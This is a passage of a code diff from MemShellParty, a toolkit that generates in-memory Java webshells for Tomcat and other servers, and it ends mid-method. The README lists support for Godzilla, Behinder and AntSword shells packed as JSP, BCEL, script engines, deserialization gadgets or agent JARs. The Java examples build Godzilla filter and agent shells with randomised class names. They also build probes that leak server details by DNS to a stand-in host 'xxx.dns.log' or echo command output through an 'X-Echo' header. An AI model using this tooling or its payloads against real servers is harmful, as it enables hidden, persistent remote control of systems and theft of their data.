|
### MemShell Functionality
|
||||||
|
|
||||||
|
- [x] [Godzilla](https://github.com/BeichenDream/Godzilla)
|
||||||
|
- [x] [Behinder](https://github.com/rebeyond/Behinder)
|
||||||
|
- [x] Command Execution
|
||||||
|
- [x] [Suo5](https://github.com/zema1/suo5)
|
||||||
|
- [x] [AntSword](https://github.com/AntSwordProject/antSword)
|
||||||
|
- [x] [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg)
|
||||||
|
- [x] Custom
|
||||||
|
|
||||||
|
### Packaging Methods
|
||||||
|
|
||||||
|
- [x] BASE64
|
||||||
|
- [x] GZIP BASE64
|
||||||
|
- [x] JSP
|
||||||
|
- [x] JSPX
|
||||||
|
- [x] JAR
|
||||||
|
- [x] BCEL
|
||||||
|
- [x] Built-in ScriptEngine, Rhino ScriptEngine
|
||||||
|
- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
|
||||||
|
- [x] Velocity、Freemarker、JinJava
|
||||||
|
- [x] Native Deserialization(CB and CC)
|
||||||
|
- [x] Agent
|
||||||
|
- [x] XXL-JOB Executor
|
||||||
|
- [x] Hessian, Hessian2 Deserialization (XSLT gadget chain)
|
||||||
|
- [ ] JNDI
|
||||||
|
- [ ] JDBC Connection
|
||||||
|
- [ ] Other common deserialization
|
||||||
|
|
||||||
|
## Local Build
|
||||||
|
|
||||||
|
### Building from Source Code
|
||||||
|
|
||||||
|
> Suitable for developers who want to modify the code. Clone the repository locally and build the frontend and backend projects.
|
||||||
|
|
||||||
|
First, you need to download and install [bun](https://bun.sh/), a tool for building the frontend service.
|
||||||
|
|
||||||
|
1. Clone the project using Git:
|
||||||
|
```bash
|
||||||
|
git clone https://github.com/ReaJason/MemShellParty.git
|
||||||
|
```
|
||||||
|
2. Build the frontend project. After the build finishes, static resources will be automatically moved to the Spring Boot module.
|
||||||
|
```bash
|
||||||
|
cd MemShellParty/web
|
||||||
|
|
||||||
|
bun install
|
||||||
|
|
||||||
|
bun run build
|
||||||
|
```
|
||||||
|
3. Build the backend project. Ensure you are using a JDK 17 environment.
|
||||||
|
```bash
|
||||||
|
cd MemShellParty/boot
|
||||||
|
|
||||||
|
./gradlew :boot:bootjar -x test
|
||||||
|
```
|
||||||
|
|
||||||
|
After building, you can directly run the JAR file located at `MemShellParty/boot/build/libs/boot-*.jar` (the exact version might vary).
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd MemShellParty/boot
|
||||||
|
|
||||||
|
java -jar \
|
||||||
|
--add-opens=java.base/java.util=ALL-UNNAMED \
|
||||||
|
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
|
||||||
|
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
|
||||||
|
build/libs/boot-1.0.0.jar
|
||||||
|
```
|
||||||
|
|
||||||
|
Alternatively, you can build a Docker container from the built artifacts:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd MemShellParty/boot
|
||||||
|
|
||||||
|
docker buildx build -t memshell-party:latest . --load
|
||||||
|
|
||||||
|
docker run -it -d --name memshell-party -p 8080:8080 memshell-party:latest
|
||||||
|
```
|
||||||
|
|
||||||
|
### Building with Dockerfile Directly
|
||||||
|
|
||||||
|
> Suitable for users who want to build with custom access paths, for example, when using NGINX as a reverse proxy ([#44](https://github.com/ReaJason/MemShellParty/issues/44)).
|
||||||
|
|
||||||
|
Download the [Dockerfile](../Dockerfile) from the project root.
|
||||||
|
|
||||||
|
- VERSION: Version information (arbitrary, suggest using the latest tag; used for frontend display).
|
||||||
|
- ROUTE_ROOT_PATH: Frontend root route configuration (e.g., /memshell-party).
|
||||||
|
- CONTEXT_PATH: Backend access prefix (e.g., /memshell-party).
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Basic build (defaults to root path "/")
|
||||||
|
docker buildx build \
|
||||||
|
--build-arg VERSION=1.7.0 \
|
||||||
|
-t memshell-party:latest . --load
|
||||||
|
|
||||||
|
# Run the basic image, access at http://127.0.0.1:8080
|
||||||
|
docker run -it -d -p 8080:8080 memshell-party:latest
|
||||||
|
|
||||||
|
# Build with custom access path (e.g., /memshell-party)
|
||||||
|
docker buildx build \
|
||||||
|
--build-arg VERSION=1.7.0 \
|
||||||
|
--build-arg ROUTE_ROOT_PATH=/memshell-party \
|
||||||
|
--build-arg CONTEXT_PATH=/memshell-party \
|
||||||
|
-t memshell-party:latest . --load
|
||||||
|
|
||||||
|
# Run the custom path image, access at http://127.0.0.1:8080/memshell-party
|
||||||
|
docker run -it -p 8080:8080 \
|
||||||
|
-e BOOT_OPTS=--server.servlet.context-path=/memshell-party \
|
||||||
|
memshell-party:latest
|
||||||
|
```
|
||||||
|
|
||||||
|
If you need to use NGINX as a reverse proxy, first build the container with a custom access path. Then configure NGINX similar to the following:
|
||||||
|
|
||||||
|
Ensure that the `location /memshell-party`、`ROUTE_ROOT_PATH=/memshell-party`、`CONTEXT_PATH=/memshell-party` and
|
||||||
|
`BOOT_OPTS=--server.servlet.context-path=/memshell-party` all use the same path.
|
||||||
|
|
||||||
|
```text
|
||||||
|
location /memshell-party {
|
||||||
|
proxy_pass http://127.0.0.1:8080;
|
||||||
|
proxy_set_header Host $http_host;
|
||||||
|
proxy_set_header X-Forwarded-By $server_addr:$server_port;
|
||||||
|
proxy_set_header X-Forwarded-For $remote_addr;
|
||||||
|
proxy_http_version 1.1;
|
||||||
|
proxy_connect_timeout 3s;
|
||||||
|
proxy_read_timeout 300s;
|
||||||
|
proxy_send_timeout 300s;
|
||||||
|
proxy_buffer_size 16k;
|
||||||
|
proxy_buffers 8 64k;
|
||||||
|
proxy_busy_buffers_size 128k;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
## Contribute
|
||||||
|
|
||||||
|
> Any feedback or issue discussion you provide is a contribution to this project.
|
||||||
|
|
||||||
|
> It will be so nice if you want to contribute. 🎉
|
||||||
|
|
||||||
|
1. If you have strong Docker environment building skills, consider adding integration test cases related to specific CVEs.
|
||||||
|
2. If you are skilled in writing memory shells, try adding support for a new type or target.
|
||||||
|
3. If you have extensive practical experience, feel free to open issues with suggestions or improvements.
|
||||||
|
|
||||||
|
For project structure, build processes, and compilation details, please refer to [CONTRIBUTING.md](../CONTRIBUTING.md)。
|
||||||
|
|
||||||
|
## Thanks
|
||||||
|
|
||||||
|
- [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator)
|
||||||
|
|
||||||
|
### Let's start the party 🎉
|
||||||
@@ -0,0 +1,44 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<project xmlns="http://maven.apache.org/POM/4.0.0"
|
||||||
|
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||||
|
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
|
||||||
|
<modelVersion>4.0.0</modelVersion>
|
||||||
|
|
||||||
|
<groupId>com.reajason.javaweb.maven</groupId>
|
||||||
|
<artifactId>memshell-party-maven-example</artifactId>
|
||||||
|
<version>1.0-SNAPSHOT</version>
|
||||||
|
|
||||||
|
<properties>
|
||||||
|
<maven.compiler.source>8</maven.compiler.source>
|
||||||
|
<maven.compiler.target>8</maven.compiler.target>
|
||||||
|
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
|
||||||
|
</properties>
|
||||||
|
|
||||||
|
<dependencies>
|
||||||
|
<dependency>
|
||||||
|
<groupId>io.github.reajason</groupId>
|
||||||
|
<artifactId>generator</artifactId>
|
||||||
|
<version>2.0.0</version>
|
||||||
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>io.github.reajason</groupId>
|
||||||
|
<artifactId>packer</artifactId>
|
||||||
|
<version>2.0.0</version>
|
||||||
|
</dependency>
|
||||||
|
</dependencies>
|
||||||
|
|
||||||
|
<!-- 使用 SNAPSHOT 版本,才需要下面这块 -->
|
||||||
|
<repositories>
|
||||||
|
<repository>
|
||||||
|
<name>Central Portal Snapshots</name>
|
||||||
|
<id>central-portal-snapshots</id>
|
||||||
|
<url>https://central.sonatype.com/repository/maven-snapshots/</url>
|
||||||
|
<releases>
|
||||||
|
<enabled>false</enabled>
|
||||||
|
</releases>
|
||||||
|
<snapshots>
|
||||||
|
<enabled>true</enabled>
|
||||||
|
</snapshots>
|
||||||
|
</repository>
|
||||||
|
</repositories>
|
||||||
|
</project>
|
||||||
+32
@@ -0,0 +1,32 @@
|
|||||||
|
package com.reajason.javaweb;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import com.reajason.javaweb.probe.ProbeContent;
|
||||||
|
import com.reajason.javaweb.probe.ProbeMethod;
|
||||||
|
import com.reajason.javaweb.probe.ProbeShellGenerator;
|
||||||
|
import com.reajason.javaweb.probe.ProbeShellResult;
|
||||||
|
import com.reajason.javaweb.probe.config.DnsLogConfig;
|
||||||
|
import com.reajason.javaweb.probe.config.ProbeConfig;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/8/13
|
||||||
|
*/
|
||||||
|
public class DnsLogProbe {
|
||||||
|
public static void main(String[] args) {
|
||||||
|
ProbeConfig probeConfig = ProbeConfig.builder()
|
||||||
|
.probeMethod(ProbeMethod.DNSLog)
|
||||||
|
.probeContent(ProbeContent.Server) // 暂只支持 Server 和 JDK
|
||||||
|
.shrink(true)
|
||||||
|
.debug(false)
|
||||||
|
.build();
|
||||||
|
|
||||||
|
DnsLogConfig dnsLogConfig = DnsLogConfig.builder()
|
||||||
|
.host("xxx.dns.log")
|
||||||
|
.build();
|
||||||
|
|
||||||
|
ProbeShellResult result = ProbeShellGenerator.generate(probeConfig, dnsLogConfig);
|
||||||
|
|
||||||
|
System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result.toClassPackerConfig()));
|
||||||
|
}
|
||||||
|
}
|
||||||
+50
@@ -0,0 +1,50 @@
|
|||||||
|
package com.reajason.javaweb;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.MemShellGenerator;
|
||||||
|
import com.reajason.javaweb.memshell.MemShellResult;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.memshell.config.GodzillaConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.Server.Tomcat;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/4/6
|
||||||
|
*/
|
||||||
|
public class Godzilla {
|
||||||
|
public static void main(String[] args) {
|
||||||
|
ShellConfig shellConfig = ShellConfig.builder()
|
||||||
|
.server(Tomcat)
|
||||||
|
.shellTool(ShellTool.Godzilla)
|
||||||
|
.shellType(ShellType.FILTER)
|
||||||
|
.shrink(true) // 缩小字节码
|
||||||
|
.debug(false) // 关闭调试
|
||||||
|
.build();
|
||||||
|
|
||||||
|
InjectorConfig injectorConfig = InjectorConfig.builder()
|
||||||
|
// .urlPattern("/*") // 自定义 urlPattern,默认就是 /*
|
||||||
|
// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成
|
||||||
|
// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成
|
||||||
|
.build();
|
||||||
|
|
||||||
|
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
|
||||||
|
// .pass("pass")
|
||||||
|
// .key("key")
|
||||||
|
// .headerName("User-Agent")
|
||||||
|
// .headerValue("test")
|
||||||
|
.build();
|
||||||
|
|
||||||
|
MemShellResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
|
||||||
|
|
||||||
|
System.out.println("注入器类名:" + result.getInjectorClassName());
|
||||||
|
System.out.println("内存马类名:" + result.getShellClassName());
|
||||||
|
|
||||||
|
System.out.println(result.getShellConfig());
|
||||||
|
System.out.println(result.getShellToolConfig());
|
||||||
|
System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result.toClassPackerConfig()));
|
||||||
|
}
|
||||||
|
}
|
||||||
+57
@@ -0,0 +1,57 @@
|
|||||||
|
package com.reajason.javaweb;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.MemShellGenerator;
|
||||||
|
import com.reajason.javaweb.memshell.MemShellResult;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.memshell.config.GodzillaConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import com.reajason.javaweb.packer.jar.JarPacker;
|
||||||
|
|
||||||
|
import java.nio.file.Files;
|
||||||
|
import java.nio.file.Paths;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.Server.Tomcat;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/4/6
|
||||||
|
*/
|
||||||
|
public class GodzillaAgent {
|
||||||
|
|
||||||
|
public static void main(String[] args) throws Exception {
|
||||||
|
ShellConfig shellConfig = ShellConfig.builder()
|
||||||
|
.server(Tomcat)
|
||||||
|
.shellTool(ShellTool.Godzilla)
|
||||||
|
.shellType(ShellType.AGENT_FILTER_CHAIN)
|
||||||
|
.shrink(true) // 缩小字节码
|
||||||
|
.debug(false) // 关闭调试
|
||||||
|
.build();
|
||||||
|
|
||||||
|
InjectorConfig injectorConfig = InjectorConfig.builder()
|
||||||
|
// .urlPattern("/*") // 自定义 urlPattern,默认就是 /*
|
||||||
|
// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成
|
||||||
|
// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成
|
||||||
|
.build();
|
||||||
|
|
||||||
|
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
|
||||||
|
// .pass("pass")
|
||||||
|
// .key("key")
|
||||||
|
// .headerName("User-Agent")
|
||||||
|
// .headerValue("test")
|
||||||
|
.build();
|
||||||
|
|
||||||
|
MemShellResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
|
||||||
|
|
||||||
|
System.out.println("注入器类名:" + result.getInjectorClassName());
|
||||||
|
System.out.println("内存马类名:" + result.getShellClassName());
|
||||||
|
|
||||||
|
System.out.println(result.getShellConfig());
|
||||||
|
System.out.println(result.getShellToolConfig());
|
||||||
|
|
||||||
|
byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result.toJarPackerConfig());
|
||||||
|
Files.write(Paths.get("agent.jar"), agentJarBytes);
|
||||||
|
}
|
||||||
|
}
|
||||||
+35
@@ -0,0 +1,35 @@
|
|||||||
|
package com.reajason.javaweb;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import com.reajason.javaweb.probe.ProbeContent;
|
||||||
|
import com.reajason.javaweb.probe.ProbeMethod;
|
||||||
|
import com.reajason.javaweb.probe.ProbeShellGenerator;
|
||||||
|
import com.reajason.javaweb.probe.ProbeShellResult;
|
||||||
|
import com.reajason.javaweb.probe.config.ProbeConfig;
|
||||||
|
import com.reajason.javaweb.probe.config.ResponseBodyConfig;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.Server.Tomcat;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/8/13
|
||||||
|
*/
|
||||||
|
public class ResponseBodyProbe {
|
||||||
|
public static void main(String[] args) {
|
||||||
|
ProbeConfig probeConfig = ProbeConfig.builder()
|
||||||
|
.probeMethod(ProbeMethod.ResponseBody)
|
||||||
|
.probeContent(ProbeContent.Command)
|
||||||
|
.shrink(true)
|
||||||
|
.debug(false)
|
||||||
|
.build();
|
||||||
|
|
||||||
|
ResponseBodyConfig responseBodyConfig = ResponseBodyConfig.builder()
|
||||||
|
.server(Tomcat)
|
||||||
|
.reqHeaderName("X-Echo")
|
||||||
|
.build();
|
||||||
|
|
||||||
|
ProbeShellResult result = ProbeShellGenerator.generate(probeConfig, responseBodyConfig);
|
||||||
|
|
||||||
|
System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result.toClassPackerConfig()));
|
||||||
|
}
|
||||||
|
}
|
||||||
+34
@@ -0,0 +1,34 @@
|
|||||||
|
package com.reajason.javaweb;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import com.reajason.javaweb.probe.ProbeContent;
|
||||||
|
import com.reajason.javaweb.probe.ProbeMethod;
|
||||||
|
import com.reajason.javaweb.probe.ProbeShellGenerator;
|
||||||
|
import com.reajason.javaweb.probe.ProbeShellResult;
|
||||||
|
import com.reajason.javaweb.probe.config.ProbeConfig;
|
||||||
|
import com.reajason.javaweb.probe.config.SleepConfig;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.Server.Tomcat;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/8/13
|
||||||
|
*/
|
||||||
|
public class SleepProbe {
|
||||||
|
public static void main(String[] args) {
|
||||||
|
ProbeConfig probeConfig = ProbeConfig.builder()
|
||||||
|
.probeMethod(ProbeMethod.Sleep)
|
||||||
|
.probeContent(ProbeContent.Server) // 暂只支持 Server
|
||||||
|
.shrink(true)
|
||||||
|
.debug(false)
|
||||||
|
.build();
|
||||||
|
|
||||||
|
SleepConfig sleepConfig = SleepConfig.builder()
|
||||||
|
.server(Tomcat)
|
||||||
|
.seconds(5).build();
|
||||||
|
|
||||||
|
ProbeShellResult result = ProbeShellGenerator.generate(probeConfig, sleepConfig);
|
||||||
|
|
||||||
|
System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result.toClassPackerConfig()));
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,51 +0,0 @@
|
|||||||
plugins {
|
|
||||||
id "io.freefair.lombok" version "8.11"
|
|
||||||
}
|
|
||||||
|
|
||||||
java {
|
|
||||||
toolchain {
|
|
||||||
languageVersion = JavaLanguageVersion.of(8)
|
|
||||||
}
|
|
||||||
sourceCompatibility = JavaVersion.VERSION_1_8
|
|
||||||
targetCompatibility = JavaVersion.VERSION_1_8
|
|
||||||
}
|
|
||||||
|
|
||||||
group = 'com.reajason.javaweb.memsell'
|
|
||||||
version = rootProject.version
|
|
||||||
|
|
||||||
test {
|
|
||||||
useJUnitPlatform()
|
|
||||||
finalizedBy jacocoTestReport
|
|
||||||
}
|
|
||||||
|
|
||||||
dependencies {
|
|
||||||
implementation project(":common")
|
|
||||||
implementation project(":deserialize")
|
|
||||||
implementation project(":memshell")
|
|
||||||
implementation project(":memshell-java8")
|
|
||||||
implementation 'net.bytebuddy:byte-buddy'
|
|
||||||
|
|
||||||
implementation 'javax.servlet:javax.servlet-api'
|
|
||||||
implementation 'javax.websocket:javax.websocket-api'
|
|
||||||
implementation 'jakarta.servlet:jakarta.servlet-api'
|
|
||||||
|
|
||||||
// implementation 'xalan:xalan'
|
|
||||||
implementation 'org.apache.bcel:bcel'
|
|
||||||
|
|
||||||
implementation 'commons-io:commons-io'
|
|
||||||
implementation 'org.apache.commons:commons-lang3'
|
|
||||||
implementation 'commons-codec:commons-codec'
|
|
||||||
implementation 'com.squareup.okhttp3:okhttp'
|
|
||||||
implementation 'ch.qos.logback:logback-classic'
|
|
||||||
implementation 'com.alibaba.fastjson2:fastjson2'
|
|
||||||
// implementation 'org.java-websocket:Java-WebSocket'
|
|
||||||
|
|
||||||
implementation 'org.springframework:spring-webmvc'
|
|
||||||
implementation 'org.springframework:spring-webflux'
|
|
||||||
implementation 'io.projectreactor.netty:reactor-netty-core'
|
|
||||||
|
|
||||||
testImplementation platform('org.junit:junit-bom')
|
|
||||||
testImplementation 'org.junit.jupiter:junit-jupiter'
|
|
||||||
testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
|
|
||||||
testImplementation "org.mockito:mockito-core"
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,46 @@
|
|||||||
|
plugins {
|
||||||
|
id("java-library")
|
||||||
|
alias(libs.plugins.lombok)
|
||||||
|
id("maven-publish-convention")
|
||||||
|
}
|
||||||
|
|
||||||
|
java {
|
||||||
|
toolchain {
|
||||||
|
languageVersion = JavaLanguageVersion.of(8)
|
||||||
|
}
|
||||||
|
sourceCompatibility = JavaVersion.VERSION_1_8
|
||||||
|
targetCompatibility = JavaVersion.VERSION_1_8
|
||||||
|
}
|
||||||
|
|
||||||
|
group = "io.github.reajason"
|
||||||
|
description = "MemShell Generator for Java"
|
||||||
|
version = rootProject.version
|
||||||
|
|
||||||
|
tasks.compileTestJava {
|
||||||
|
javaCompiler.set(javaToolchains.compilerFor {
|
||||||
|
languageVersion.set(JavaLanguageVersion.of(17))
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
tasks.test {
|
||||||
|
useJUnitPlatform()
|
||||||
|
}
|
||||||
|
|
||||||
|
dependencies {
|
||||||
|
implementation(project(":memshell-party-common"))
|
||||||
|
implementation(project(":packer"))
|
||||||
|
api(libs.byte.buddy)
|
||||||
|
implementation(libs.asm.commons)
|
||||||
|
implementation(libs.javax.websocket.api)
|
||||||
|
implementation(libs.javax.servlet.api)
|
||||||
|
implementation(libs.spring.webmvc)
|
||||||
|
implementation(libs.spring.webflux)
|
||||||
|
implementation(libs.reactor.netty.core)
|
||||||
|
implementation(libs.jackson.annotations)
|
||||||
|
implementation(libs.bundles.jna)
|
||||||
|
|
||||||
|
testImplementation(libs.junit.jupiter)
|
||||||
|
testImplementation(libs.hamcrest)
|
||||||
|
testRuntimeOnly(libs.junit.platform.launcher)
|
||||||
|
testImplementation(libs.bundles.mockito)
|
||||||
|
}
|
||||||
@@ -0,0 +1,15 @@
|
|||||||
|
package com.reajason.javaweb;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/7/21
|
||||||
|
*/
|
||||||
|
public class GenerationException extends RuntimeException {
|
||||||
|
public GenerationException(String message) {
|
||||||
|
super(message);
|
||||||
|
}
|
||||||
|
|
||||||
|
public GenerationException(String message, Throwable cause) {
|
||||||
|
super(message, cause);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,24 @@
|
|||||||
|
package com.reajason.javaweb;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/8/11
|
||||||
|
*/
|
||||||
|
public class Server {
|
||||||
|
public static final String Tomcat = "Tomcat";
|
||||||
|
public static final String Jetty = "Jetty";
|
||||||
|
public static final String Undertow = "Undertow";
|
||||||
|
public static final String JBoss = "JBoss";
|
||||||
|
public static final String Resin = "Resin";
|
||||||
|
public static final String WebLogic = "WebLogic";
|
||||||
|
public static final String WebSphere = "WebSphere";
|
||||||
|
public static final String GlassFish = "GlassFish";
|
||||||
|
public static final String TongWeb = "TongWeb";
|
||||||
|
public static final String BES = "BES";
|
||||||
|
public static final String InforSuite = "InforSuite";
|
||||||
|
public static final String Apusic = "Apusic";
|
||||||
|
public static final String SpringWebMvc = "SpringWebMvc";
|
||||||
|
public static final String SpringWebFlux = "SpringWebFlux";
|
||||||
|
public static final String XXLJOB = "XXLJOB";
|
||||||
|
public static final String Struct2 = "Struct2";
|
||||||
|
}
|
||||||
@@ -0,0 +1,10 @@
|
|||||||
|
package com.reajason.javaweb;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/5/27
|
||||||
|
*/
|
||||||
|
public interface ShellGenerator {
|
||||||
|
|
||||||
|
byte[] getBytes();
|
||||||
|
}
|
||||||
@@ -1,52 +1,92 @@
|
|||||||
package com.reajason.javaweb.memshell;
|
package com.reajason.javaweb.memshell;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.*;
|
import com.reajason.javaweb.GenerationException;
|
||||||
import com.reajason.javaweb.memshell.generator.*;
|
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||||
import com.reajason.javaweb.memshell.server.AbstractShell;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
import com.reajason.javaweb.memshell.generator.InjectorGenerator;
|
||||||
|
import com.reajason.javaweb.memshell.server.AbstractServer;
|
||||||
|
import com.reajason.javaweb.probe.ProbeContent;
|
||||||
|
import com.reajason.javaweb.probe.ProbeMethod;
|
||||||
|
import com.reajason.javaweb.probe.config.ProbeConfig;
|
||||||
|
import com.reajason.javaweb.probe.config.ResponseBodyConfig;
|
||||||
|
import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
|
||||||
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
|
import org.apache.commons.codec.binary.Base64;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
import org.apache.commons.lang3.StringUtils;
|
||||||
import org.apache.commons.lang3.tuple.Pair;
|
import org.apache.commons.lang3.tuple.Pair;
|
||||||
|
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/11/24
|
* @since 2024/11/24
|
||||||
*/
|
*/
|
||||||
public class MemShellGenerator {
|
public class MemShellGenerator {
|
||||||
|
|
||||||
public static GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
|
public static MemShellResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
|
||||||
Server server = shellConfig.getServer();
|
String serverName = shellConfig.getServer();
|
||||||
AbstractShell shell = server.getShell();
|
AbstractServer server = ServerFactory.getServer(serverName);
|
||||||
if (shell == null) {
|
if (server == null) {
|
||||||
throw new IllegalArgumentException("Unsupported server");
|
throw new GenerationException("Unsupported server: " + serverName);
|
||||||
}
|
}
|
||||||
|
Class<?> injectorClass = null;
|
||||||
|
|
||||||
|
if (ShellTool.Custom.equals(shellConfig.getShellTool())) {
|
||||||
|
injectorClass = server.getShellInjectorMapping().getInjector(shellConfig.getShellType());
|
||||||
|
} else {
|
||||||
|
Pair<Class<?>, Class<?>> shellInjectorPair = server.getShellInjectorPair(shellConfig.getShellTool(), shellConfig.getShellType());
|
||||||
|
if (shellInjectorPair == null) {
|
||||||
|
throw new GenerationException(serverName + " unsupported shell type: " + shellConfig.getShellType() + " for tool: " + shellConfig.getShellTool());
|
||||||
|
}
|
||||||
|
Class<?> shellClass = shellInjectorPair.getLeft();
|
||||||
|
injectorClass = shellInjectorPair.getRight();
|
||||||
|
shellToolConfig.setShellClass(shellClass);
|
||||||
|
}
|
||||||
|
|
||||||
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
|
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
|
||||||
shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(server, shellConfig.getShellType()));
|
shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(serverName, shellConfig.getShellType()));
|
||||||
}
|
}
|
||||||
|
|
||||||
if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) {
|
if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) {
|
||||||
injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName());
|
injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName());
|
||||||
}
|
}
|
||||||
|
|
||||||
Pair<Class<?>, Class<?>> shellInjectorPair = shellConfig.getServer().getShell().getShellInjectorPair(shellConfig.getShellTool(), shellConfig.getShellType());
|
if (shellConfig.isLambdaSuffix()) {
|
||||||
if (shellInjectorPair == null) {
|
shellToolConfig.setShellClassName(CommonUtil.appendLambdaSuffix(shellToolConfig.getShellClassName()));
|
||||||
throw new UnsupportedOperationException("Unknown shell type: " + shellConfig.getShellType());
|
injectorConfig.setInjectorClassName(CommonUtil.appendLambdaSuffix(injectorConfig.getInjectorClassName()));
|
||||||
}
|
}
|
||||||
Class<?> shellClass = shellInjectorPair.getLeft();
|
|
||||||
Class<?> injectorClass = shellInjectorPair.getRight();
|
|
||||||
|
|
||||||
shellToolConfig.setShellClass(shellClass);
|
byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig);
|
||||||
|
|
||||||
byte[] shellBytes = generateShellBytes(shellConfig, shellToolConfig);
|
injectorConfig.setInjectorClass(injectorClass);
|
||||||
|
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
|
||||||
|
injectorConfig.setShellClassBytes(shellBytes);
|
||||||
|
|
||||||
injectorConfig = injectorConfig
|
InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
|
||||||
.toBuilder()
|
byte[] injectorBytes = injectorGenerator.generate();
|
||||||
.injectorClass(injectorClass)
|
if (shellConfig.isProbe() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
ProbeConfig probeConfig = ProbeConfig.builder()
|
||||||
.shellClassBytes(shellBytes).build();
|
.shellClassName(injectorConfig.getInjectorClassName() + "1")
|
||||||
|
.probeMethod(ProbeMethod.ResponseBody)
|
||||||
|
.probeContent(ProbeContent.Bytecode)
|
||||||
|
